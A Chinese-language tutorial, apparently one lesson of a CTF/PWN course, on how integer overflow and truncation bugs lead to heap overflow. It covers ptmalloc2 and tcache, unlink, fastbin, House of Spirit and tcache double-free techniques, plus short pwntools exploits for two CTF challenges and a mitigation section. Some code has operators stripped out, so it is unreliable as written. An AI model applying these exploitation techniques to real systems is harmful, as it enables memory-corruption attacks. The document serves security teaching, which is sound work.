:从整数漏洞到堆溢出——深入理解内存破坏的进阶利用链)
写在前面在Week8的前两篇中我们系统学习了整数溢出/下溢和符号转换/长度计算错误的原理。今天我们将迎来本周的高潮——探讨这些看似抽象的整数漏洞如何直接导致严重的堆溢出并最终实现任意代码执行。与栈溢出不同堆溢出发生在程序动态分配的内存区域其利用需要深入理解内存管理器的实现原理是通往高阶PWN的必经之路yisu.com。 目录堆内存管理基础ptmalloc2与Chunk结构整数漏洞→堆溢出的转化机制堆溢出利用技术从Unlink到Fastbin Attack实战案例CTF中的整数到堆溢出利用链防御与缓解从编码到运行时保护总结与进阶展望1. 堆内存管理基础ptmalloc2与Chunk结构要理解堆溢出必须先理解glibc的ptmalloc2内存管理器如何组织堆内存csdn.net1。1.1 堆Chunk结构解析在ptmalloc2中堆内存被划分为多个连续的chunk每个chunk包含头部和用户数据区struct malloc_chunk { size_t prev_size; // 前一个chunk空闲时有效 size_t size; // 低3位用作标志位 union { struct { malloc_chunk* fd; // forward pointer malloc_chunk* bk; // backward pointer }; char user_data[0]; // 用户数据区 }; };关键标志位PREV_INUSE(0x1): 前一个chunk是否在使用中IS_MMAPPED(0x2): 是否通过mmap分配NON_MAIN_ARENA(0x4): 是否属于非主arena1.2 分配与释放流程Fast Bin范围Small Bin范围Large请求Fast Bin范围非Fast Bin用户请求mallocsize检查检查fastbinsY检查unsortedbin使用top chunk或sys_alloc返回chunk用户调用freechunk类型检查插入fastbinsY合并相邻空闲chunk完成插入unsortedbinFirst-fit算法glibc使用first-fit算法选择空闲chunk即找到第一个足够大的空闲chunk就进行分配csdn.net。这在use-after-free场景中可被利用。1.3 Tcache机制glibc 2.26现代glibc引入了线程缓存机制每个线程维护一个tcache_perthread_struct结构体包含多个单链表用于缓存小chunkzhihu.com。typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; // 每个bin的chunk计数 tcache_entry *entries[TCACHE_MAX_BINS]; // 单链表指针数组 } tcache_perthread_struct;Tcache降低了安全性但提高了性能其检查较少成为攻击者的重点目标。2. 整数漏洞→堆溢出的转化机制整数漏洞本身不直接造成危害但其导致的内存分配尺寸错误是堆溢出的直接导火索csdn.net。2.1 完整转化链路整数计算溢出size len1 len2错误的malloc参数malloc(3)分配过小堆块实际仅3字节越界写入memcpy(ptr, src, 0x100000003)覆盖相邻chunk元数据fd/bk/size字段利用触发unlink/hook覆盖控制流劫持2.2 典型漏洞模式模式1无符号整数回绕导致分配过小void process_data(unsigned int len) { char *buf malloc(len 1); // len0xFFFFFFFF时len10 memcpy(buf, user_input, len); // 堆溢出拷贝0xFFFFFFFF字节到0字节缓冲区 }模式2有符号负数导致巨大分配void allocate_buffer(int size) { if (size 0) { // 仅检查正数 char *buf malloc(size); // size-1转换为UINT_MAX4294967295 // 实际分配失败或极小缓冲区 } }模式3宽度截断导致长度计算错误unsigned short total strlen(str1) strlen(str2) 1; // size_t被截断 char *buf malloc(total); // 分配过小缓冲区 strcpy(buf, str1); // 堆溢出 strcat(buf, str2);2.3 真实案例Linux Kernel BPF整数溢出csdn.net// 漏洞代码简化 u32 insn_cnt prog-len; u32 size insn_cnt * sizeof(struct bpf_insn); // 整数溢出 struct bpf_insn *new_insn malloc(size); // 分配过小 memcpy(new_insn, old_insn, insn_cnt * sizeof(struct bpf_insn)); // 堆溢出当insn_cnt足够大时insn_cnt * sizeof(struct bpf_insn)发生整数溢出导致malloc分配过小缓冲区后续memcpy造成堆溢出。3. 堆溢出利用技术从Unlink到Fastbin Attack3.1 Unlink攻击利用条件存在溢出可修改下一个chunk的size和prev_size可触发unlink操作如free攻击原理// 伪造fake chunk fake_chunk { .prev_size 0, .size 0x91, .fd target_addr - 0x18, .bk target_addr - 0x10 }; // 触发unlink时执行 // P-fd-bk P-bk *(target_addr - 0x18 0x18) target_addr - 0x10 // P-bk-fd P-fd *(target_addr - 0x10 0x10) target_addr - 0x18效果实现任意地址写入可覆盖GOT表、__malloc_hook等关键位置。3.2 Fastbin Attack利用条件可控制fastbin链表的fd指针可触发malloc从fastbin中取出chunk攻击步骤# 1. 伪造fastbin条目 fake_chunk 0x08049000 # 伪造的chunk地址 fake_chunk_size 0x29 # 伪造的size字段满足fastbin要求 # 2. 溢出覆盖fastbin的fd指针 payload p64(fake_chunk) # 将fd指针指向伪造地址 # 3. 连续malloc两次 malloc(0x28); # 第一次返回正常chunk malloc(0x28); # 第二次返回伪造地址处的chunk效果在任意地址分配chunk实现任意地址写入。3.3 House of系列攻击details summary House of Spirit技术细节/summaryHouse of Spirit通过在目标地址伪造一个合法的chunk结构然后将其释放使其被放入bin中后续malloc时可再次获取该chunk。// 伪造chunk struct { size_t prev_size; size_t size; char data[0]; } fake_chunk; fake_chunk.size 0x41; // 满足fastbin要求 // ...在目标地址布置fake_chunk free(fake_chunk); // 释放伪造chunk malloc(0x38); // 再次获取该chunk实现任意地址写入/details3.4 Tcache利用glibc 2.26details summary Tcache Double Free利用/summary# Tcache Double Free利用 def tcache_double_free(): # 1. 分配并释放chunk两次 ptr1 malloc(0x20) free(ptr1) free(ptr1) # Double free # 2. 修改tcache链表头 # 溢出覆盖tcache-entries[idx]为target_addr # 3. 再次分配获取target_addr处的chunk ptr2 malloc(0x20) # 返回target_addr ptr3 malloc(0x20) # 再次返回target_addr/details4. 实战案例CTF中的整数到堆溢出利用链4.1 案例一pwn2_sctf_2016csdn.net1漏洞分析void vuln() { char buf[40]; unsigned int n; printf(How many bytes do you want me to read? ); scanf(%u, n); get_n(buf, n); // 整数溢出点 puts(buf); } int get_n(char* buf, unsigned int size) { // size参数为unsigned int但可能被截断或溢出 // 实际读取的字节数可能超过buf大小 }利用流程# 1. 构造整数溢出 payload bA * 40 # 填充buf payload p32(0x0804858B) # 后门函数地址 # 2. 利用整数溢出绕过长度检查 # 当n0xFFFFFFFF时get_n可能读取大量数据 # 但实际写入buf的数据超过40字节造成栈溢出 # 3. 完整EXP from pwn import * p process(./pwn2_sctf_2016) p.sendlineafter(bread?, b4294967295) # 触发整数溢出 p.sendline(payload) p.interactive()4.2 案例二int_overflowcsdn.net1漏洞分析unsigned char passwd_len strlen(buf); // 截断size_t→unsigned char if (passwd_len 4 passwd_len 8) { // 仅检查截断后的值 strcpy(dest, buf); // 栈溢出 }利用步骤长度欺骗构造259字节输入259 % 256 3满足3 8的条件栈溢出strcpy拷贝259字节到20字节缓冲区控制流劫持覆盖返回地址到后门函数# 完整EXP payload bA * 24 # 填充到返回地址 payload p32(0x0804858B) # 后门函数地址 payload payload.ljust(259, ba) # 填充到259字节 p.sendline(payload)4.3 案例三FastCGI堆溢出CVE-2025-23016freebuf.com漏洞原理// FastCGI库中的ReadParams函数 size_t total_len key_len val_len 2; // 整数溢出 char *buf malloc(total_len); // 分配过小缓冲区 memcpy(buf, key, key_len); // 堆溢出 memcpy(buf key_len, val, val_len);利用效果破坏内存结构覆盖FastCGI流结构中的函数指针实现任意代码执行5. 防御与缓解从编码到运行时保护5.1 安全编码实践5.1.1 长度计算安全化// 安全的加法检查 bool safe_add(size_t a, size_t b, size_t *result) { if (a SIZE_MAX - b) { return false; // 溢出 } *result a b; return true; } // 使用安全整数库 #include checked_int.h checked_size_t len checked_add(strlen(a), strlen(b)); if (checked_is_overflow(len)) { // 处理溢出 }5.1.2 类型一致性// 统一使用size_t处理内存大小 void process_data(char *input, size_t len) { char buf[64]; if (len sizeof(buf)) { // 一致的无符号比较 memcpy(buf, input, len); } }5.1.3 编译器辅助# GCC安全编译选项 gcc -O2 -Wall -Wextra -Wconversion -fsanitizeundefined -ftrapv \ -fstack-protector-strong -D_FORTIFY_SOURCE2 \ -Wl,-z,relro,-z,now -o program program.c5.2 运行时保护机制防护机制技术实现性能影响覆盖范围ASLR地址空间随机化2%全局DEP/NX数据不可执行0%栈/堆Canary栈溢出检测2-5%栈RELROGOT表只读1-3%GOT表Fortify缓冲区函数检查3-8%标准库5.3 高级防护技术details summary⚙️ Hardened Malloc实现/summary// hardened_malloc设计要点 - 元数据隔离将chunk元数据与用户数据分离存储 - 随机化chunk布局随机化增加预测难度 - 双重释放检测维护释放历史记录 - 相邻chunk校验检查相邻chunk完整性 - 延迟合并延迟空闲chunk合并增加利用复杂度/details6. 总结与进阶展望6.1 核心知识点总结整数漏洞是堆溢出的上游导火索无符号整数回绕、有符号负数转换、宽度截断都可导致内存分配尺寸错误csdn.net堆溢出利用需要深入理解内存管理器ptmalloc2的chunk结构、bin机制、first-fit算法都是利用基础csdn.net1典型利用技术Unlink攻击、Fastbin Attack、House of Spirit、Tcache Double Free各有适用场景现代防护机制可被绕过ASLR需信息泄露Canary需部分覆盖RELRO需GOT表可写6.2 易错点与注意事项不要假设整数溢出后一定回绕有符号溢出是未定义行为不同编译器处理可能不同注意隐式类型转换有符号数与无符号数运算时有符号数会被转换为无符号数检查所有用户可控的数值输入包括长度、索引、计数器、偏移量等堆布局不可预测ASLR、堆随机化使堆地址难以预测需信息泄露6.3 进阶学习方向details summary 推荐学习路径/summary内核堆利用Linux内核slab/slub分配器内核ROPJIT编译器漏洞V8、SpiderMonkey中的整数溢出嵌入式系统RTOS堆实现差异缺少防护机制新型防护机制MPX、CET、Shadow Stack自动化漏洞挖掘AFL、libFuzzer结合整数漏洞检测/details6.4 下周预告 (Week9)下周我们将进入格式化字符串漏洞的进阶世界探讨格式化字符串与堆漏洞的结合利用现代编译器对格式化字符串的防护及绕过真实CVE案例中的格式化字符串漏洞分析自动化检测与修复技术 知识图谱总结最终结论整数漏洞到堆溢出的转化是二进制安全中最重要的漏洞链之一。理解这一转化过程不仅能帮助你发现和利用漏洞更能让你写出更安全的代码。在攻防博弈中谁先理解底层谁就掌握了安全的主动权huaweicloud.com。参考文献CTF PWN实战:利用整数溢出漏洞攻破pwn2_sctf_2016关于Heap Overflow(堆溢出)从CTF到实战手把手教你复现攻防世界int_overflow整数溢出漏洞整数溢出怎么一步步变成堆溢出漏洞的CTF PWN堆溢出的示例分析CVE-2025-23016:FastCGI堆溢出高危漏洞威胁嵌入式设备